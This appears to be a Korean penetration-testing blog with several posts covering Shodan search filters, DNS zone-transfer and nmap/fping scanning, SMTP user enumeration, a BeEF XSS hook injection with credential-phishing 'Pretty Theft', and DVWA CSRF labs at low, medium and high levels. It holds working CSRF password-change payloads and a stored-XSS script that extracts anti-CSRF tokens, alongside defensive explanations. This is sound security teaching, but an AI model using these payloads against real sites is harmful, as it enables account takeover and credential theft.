geo 특정 위도/경도 정보를 참고후, 근처에 있는 검색 결과를 보여준다.
(ex. apache geo:42.9693,-74.1224)
hostname 검색 결과에서 주어진 호스트 네임과 매칭 되는 결과를 보여준다.
(ex. “Server: gws” hostname:google)
net 특정 Class에 한정하여 검색 결과를 보여준다 (ex.net:216.219.143.0/24)
os 특정 OS에 대한 검색 결과를 보여준다. (ex. microsoft-iis os:”windows 2003″)
port 특정 포트에 대한 검색 결과를 보여준다. (ex.proftpd port:21)
before/after 특정 날짜 전/후에 대한 검색 결과를 보여준다. (ex. nginx before:18/01/2010)

2) 액티브 스캐닝
공격 대상을 직접 스캐닝 (DNS 정보 수집, 포트 스캐닝, 웹스캐닝, 종합 취약점 스캐닝) 하는 것이다.

* DNS를 이용한 정보 수집

- 도메인 서버 알아내기
host zonetransfer.mens

- name 서버 알아내기
host -t ns zonetransfer.me

- zonetransfer 공격 수행

권한이 있는 서버에게 만 zonetransfer 공격을 하는게 아니라 권한 설정을 하지 않아 외부에서도 zonetransfer 공격을 수행 할 수 있다


- dnsenum zonetransfer.me

* 호스트 스캐닝
호스트 하나를 공격해서 침투에 성공하고 나면 내부 내트네트에서 다른 호스트를 추가로 공격하는 경우가 있다 이때 다른 호스트의 IP를 알아내야 한다.

PING 는 어떤 호스트가 살아있는지 확인하는 명령어이다. icmp 라는 네트워크 요청을 보내고 icmp 응답을 보고 결과를 확인해서 살아있는지 확인한다. 종종 방화벽에서 ping 을 막아놓는 경우도 있다.

fping -f 192.168.0.1/24
fping -q -a -f 192.168.0.1/24 살아있는 호스트들만 보는 명령어이다.
결국 해당 네트워크 대역에서 살아있는 호스트를 찾을 수 있다. 그러나 윈도우는 ping 요청이 방화벽으로 차단된다.
nmap 을 사용하면 더 정확한 결과를 얻을 수 있다.
nmap -sn 192.168.0.1/24


* 포트 스캐닝
일반사용자가 아무런 옵션을 주지 않는것은 -sT (connect 스캐닝) 옵션을 준것과 동일하게 동작한다.


그러나 칼리에서 루트 인 경우 -sT 와 같은 syn 스캔이 대신 수행 된다.  
(과거에는 방화벽이 syn 스캔을 탐지하지 못했기 때문에 스텔스 스캔이라고 불리기도 한다)

모의해킹 환경에서는 udp 서비스도 사용될 수 있기 때문에 다음의 명령어를 사용할 수 있다.
nmap -sU 192.168.70.132 -p 100-140


nmap -O 192.168.70.132 를 통해 os 정보를 확인 할 수 있다.

nmap -sV 192.168.70.132 배너 그래핑 공격을 통해 각 서비스의 버전정보를 확인 할 수 있다.  또한 -A 옵션을 통해 os 정보와 배너 그래핑 공격을 한번에 수행 할 수 있다.


nmap 고급 기능인 스크립트를 이용할 수 도 있다.
nmap 192.168.70.132 -p 21 --script=ftp-vsftpd-backdoor



* smtp 공격

target 서버가 25번 포트에서 smp 서비스를 하고 있는 것을 알 수 있다.

nc targetip 25 로 접속 후 VRFY 명령어로 존재하는 사용자 목록을 알아 낼 수 있다


smtp-user-enum 프로그램으로 무차별 삽입 공격을 할 수 있다.


  • kali linux wordlist  경로 : /usr/share/wordlists


- nikto 사용
nikto 결과는 아주 꼼꼼히 봐야한다.

- sparta 사용
nmap을 1차적으로 실행하고 포트를 검색하고 웹 포트가 있으면 nikto를 사용하고 smtp 포트가 있으면 VRFY 기법을 사용하여 사용자 정보를 검사하게 된다. 또한 mysql 과 같은 데이터베이스가 포트가 발견되면 기본사용자 정보를 체크하게 된다.








Continue reading

2018. 7. 25.

[웹 취약점] BeEF 를 이용한 XSS 공격

XSS 취약점을 발견했다면, 이를 통해 어떤 공격을 수행할 것인가. 다양한 사례와 시나리오가 있을 수 있겠지만 BeEF 를 이용해보자..

1) XSS 취약점 발견

2) beef 실행할때 나왔던 스크립트문을 취약한 포인트에 삽입한다.
ex) http://localhost/dvwa/vulnerabilities/xss_r/?name=<script src="http://127.0.0.1:3000/hook.js"></script>



3) 스크립트가 실행되면 BeEF 의 detail 패널에서 (127.0.0.1:3000/ui/panel)  Victim 의 쿠키정보를 포함한 다양한 정보를 확인 할 수 있고, command 탭에서 수행 가능한 공격들을 확인 할 수 있다.



4) Pretty Theft 라는 command를 사용하여 페이스북 아이디를 탈취 할 수 있다.
스크립트가 실행된 이후 pretty theft 를 클릭 하고 오른쪽 하단의 execute 를 실행하면 페이스북 로그인 알럿이 뜬다. 사용자가 의심없이 아이디 패스워드를 입력하면 공격자에게 계정이 넘겨지게 된다.







# 참고
  • http://elmosec.tistory.com/4
  • how to hack web browsers with beef - https://null-byte.wonderhowto.com/how-to/hack-like-pro-hack-web-browsers-with-beef-0159961/
  • http://www.hacking-tutorial.com/hacking-tutorial/xss-attack-hacking-using-beef-xss-framework/#sthash.Phmc7sTP.dpbs
  • http://www.hacking-tutorial.com/hacking-tutorial/how-to-do-hacking-the-internet-wan-not-lan-using-metasploit-the-logic/#sthash.dCGqRp4M.dpbs

Continue reading

2018. 7. 19.

[DVWA] CSRF 취약점 실습/대응방안 with javascript Ajax

# DVWA 에서 CSRF 실습

전제 : 변경 페이지로 접근할때 password를 물어보고 있지 않음.
a 사이트의 보안을 강화하려면 해당 링크를 클릭하라는 메일을 받았다. 메일을 클릭하는 순간 패스워드가 해커가 원하는 패스워드로 변경이 된다.




<csrf 소스 다운받기>
  •  https://github.com/secuacademy/webhacking 에서 CSRF 페이로드를 다운로드한다. 
  • 칼리에서 wget https://raw.githubusercontent.com/SecuAcademy/webhacking/master/csrf.html 입력받아 다운로드 한다. 
  • 다운로드 받은 파일은 서비스를 위해 /opt/lampp/htdocs 로 옮긴다. 



1) LOW 레벨



1) 패스워드 변경 페이지를 확인한다.

2) 패스워드를 변경해보고 프록시를 통해 어떻게 데이터가 요청되는지 확인한다.

csrf 공격 페이로드를 작성한다. javascript 의 Ajax 를 이용한 것이다. Ajax 는 웹브러우저의 웹 서버가 내부적으로 데이터 통신을 하고 변경 된 결과를 웹 페이지에 반영함으로써 웹 페이지의 로딩 없이 서비스를 할수 있게 한다. 사실 요즘에는 json을 더 많이 이용한다.

#Ajax 예제
<html>
<meta charset="UTF-8">
<head>
</head>

<script language="javascript">

  function poc() {

    var host='localhost';

    var req_uri = "http://" + host + "/dvwa/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change";
    var xmlhttp = new XMLHttpRequest(); # XMLHttpRequest 객체를 생성한다.

    xmlhttp.open("GET",req_uri,true); # 접속하려는 방식(GET/POST)과 대상을 지정한다. 두번째 인자는 접속하고자 하는 서버쪽 리소스의 주소로써, FORM 태그의 action에 해당한다. 세번째 파라미터는 요구가 비동기식으로 수행될지를 결정한다. TRUE 로 되어 있는 경우에는 자바스크립트 함수의 수행은 서버로부터 응답을 받기전에도 계속 진행된다.

    xmlhttp.withCredentials = "true"; # 쿠키를 보내거나 설정하려면 withCredentials  속성을 true로 지정해야 한다. 패스워드를 변경하려면 해당 사용자의 쿠키값이 설정되어 있어야 하기 때문에 true로 지정해야 한다.

    xmlhttp.send();

    alert('Done!!');
  }

</script>

<body>
(CSRF 공격 예제)<br />
이 링크를 누르시면 보안이 강화됩니다!!<br />
<a href="javascript:poc()">Click!</a><br />
</body>
</html>


작성한 127.0.0.1/csrf.html  에 접속하여 'click' 실행하면 왼쪽과 같이 서버에 요청된다. 쿠키 값이 동일한 상태에서 패스워드 변경을 요청하므로 패스워드가 변경된다.
소스를 보면 패스워드 매칭 여부판 확인 할 뿐 그 외는 아무것도 확인하고 있지 않아 문제가 된다.


post 메시지일 경우 아래와 같이 수행하면 된다.

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>자바스크립트</title>
<body>
<script>
function add(){
add = 5+3;
document.write(add);
}

  function poc() {
    /* var data = {
    password: 'secu12345!',
    password2: 'secu12345!',
    }; */
    var host='url';
    var req_uri = "https://" + host + "other url";
    var xmlhttp = new XMLHttpRequest();
   

    xmlhttp.open("POST",req_uri,true);
    xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xmlhttp.withCredentials = "true";

    //xmlhttp.send(JSON.stringify(data));
    xmlhttp.send('password=secu12345!&password2=secu12345!');
    alert('Done!!!');
  
  }

</script>
</head>
보안업데이트 공지
<a href="javascript:poc()">클릭</a><br/>
</body>
</html>

--> 시나리오
1. 홈페이지내 XSS 취약점을 발견하고 XSS 스크립트를 삽입한다.
(ex, <a href="www.hacker.com/hack.html">클릭 </a>
2. 게시판 사용자가 해당 내용을 클릭하면 자기 자신의 패스워드가 변경된다.

** 이때 주의해야 할 것은 Content-type 을 반드시 지정해야 한다는 것이다. content-type 이란 http header에 쓰이는것인데 데이터(body)의 type 정보를 표현한다. 즉, application/json은 {key:value}의 형태로 전송되며 application/x-www-form-urlencoded가 key-value&key=value 형태로 전송된다. file을 업로드 할때는 multipart/formed-data 를 사용한다.

2) medium




미디엄 단계에서는 메일을 통한 해커가 자기사이트를 이용한(http://hackersite.com) 공격은 먹히지 않는것을 알 수 있다.
이유는 소스를 보면 알 수 있는데 HTTP의 Rererer 부분이 자체 호스트와 같은지 확인하는 것이다.  사용자가 정상적인 경로로서 이 페이지를 요청하는지 아닌지 확인 하는 것이다.


그러나 csrf 공격이 해커 사이트가 아닌 웹 서버 자체에서 실행이 된다면 refererer 해더에 서버주소가 셋팅되기 때문에 위의 소스는 우회가 된다.
이런 경우에는 자바스크립트로 요청을 보내기 때문에 같은 웹사이트의 어떤 페이지에 XSS 취약점이 있다면 이를 이용하여 자바스크립트를 실행하여 CSRF 공격을 할 수 있다는 것이다. 그렇게 되면 REFERER 헤더에 원래 서버 주소가 설정되기 때문에 Rerferer 를 검사하는 부분이 무용지물이 된다.

또한 문제점이 또 있다. 
eregi 함수는 동일한 문자열을 검색하는 함수이다. 즉 HTTP_REFERER 에 SERVER_NAME 즉 localhost 가 포함되어 있는지 확인하는 것이다.

(Server_name 은 host의 localhost 임을 알 수 있다. )

   if( ( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { 


위와 같이 파일 자체를 csrf_localhost.html 으로 변경하고 request 하면 Referer 에 localhost가 포함되어 전송되어 우회가 된다.

따라서 referer 헤더를 비교할 때는 전체가 정확하게 일치하는지 확인해야 한다. 단순이 서버 주소가 포함되어 있는지를 확인하는거는 우회가 된다.

3) high

high 단계에서는 user_token 이 사용된다. 이 토큰은 랜덤으로 생성되며 토큰값이 다를 경우 패스워드 변경에 실패한다. (지금까지의 공격 방법으로는 token 값을 파라미터에 붙여서 넣을 방법이 없다.)
토큰은 CSRF 페이지에 접근 할 때마다 hidden 값으로 부여받는다.


이 경우에는 내부에 stored XSS 공격이 가능한 페이지가 있다면 CSRF 공격이 가능하다. 실습을 위해 소스를 다운받는다. 
https://github.com/SecuAcademy/webhacking/blob/master/csrfhigh.js 를 다운받는다. 
이 역시 htdocs 밑에 넣어야 한다.

stored xss 공격으로 스크립트를 삽입시키기 위해 DVWA의 XSS (stored) 메뉴에서 다음과 같이 입력한다.  (스크립트를 입력할 때는 security level 을 low 로 바꾸고 입력해야 한다.)

그러면 xss(stored) 메뉴에 접근할때 아래와 같이 csrfhigh.js 스크립트가 실행된것을 알 수 있다.


csrfhigh.js 소스를 살펴본다. 

var xhr;
var dvwa_csrf_url = '/dvwa/vulnerabilities/csrf/';
req1();

function req1() { # dvwa 의 csrf 메뉴를 누를 때 user 토큰을 알아내기 위해 첫번째 요청을 보낸다. 
        xhr = new XMLHttpRequest(); # XMLHttpRequest 객체를 생성한다.

        xhr.onreadystatechange = req2; # 서버로 보낸 요청에 대한 응답을 받았을때 어떤 동작을 할 것인지를 정한다. 함수명을 지정하면 된다.
        xhr.open('GET', dvwa_csrf_url);
        xhr.send();
# 서버로 부터 응답을 받은 후의 동작을 결정 한 후에는 실질적으로 요청(request)을 하는것이다. 요청을 하기 위해서는 request class의 open()과 send() 를 호출해야한다.
}

function req2() { 
        if (xhr.readyState === 4 && xhr.status === 200) { # readyState 4는 complete 으로 request에 대한 처리가 끝났으며 응답할 준비가 완료된 것을 의미한다.
                var htmltext = xhr.responseText;
                var parser = new DOMParser();
                var htmldoc = parser.parseFromString(htmltext,'text/html');

                var CSRFtoken = htmldoc.getElementsByName("user_token")[0].value; # 첫번째 요청을 분석하여 user_token 값을 뽑아 낸다.
                alert('Found the token: ' + CSRFtoken)
# 그리고 나서 바로 CSRF 공격을 시도한다.
                xhr = new XMLHttpRequest();
                xhr.open('GET', dvwa_csrf_url + '?password_new=hacker&password_conf=hacker&Change=Change&user_token=' + CSRFtoken); # 알아낸 토큰을 포함한 url 요청을 하여 패스워드 변경을 시도한다. 
                xhr.send();
        }
}

4) impossible
패스워드 변경같은 중요한 기능에는 현재 패스워드를 입력하게 한다. 또는 캡차 기능을 사용 할 수도 있다.


** 일반적인 html폼을 이용하면 공격 성공 후 패스워드 변경 후 페이지로 이동하기때문에 사용자들이 무슨일이 일어났는지 알수 있기 때문에 ajax 가 좋다. 

참고
  • 화이트 해커가 되기 위한 8가지 기술 중에서 '저자 최봉환'
  • http://www.w3im.com/ko/ajax/ajax_xmlhttprequest_send.html
  • http://flymc.tistory.com/entry/Ajax-XMLHttpRequest-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D-%EC%88%9C%EC%84%9C
  • http://www.nextree.co.kr/p9521/
  • https://developer.mozilla.org/ko/docs/Web/Guide/AJAX/Getting_Started

Continue reading

Popular Posts

Recent Posts

Powered by Blogger.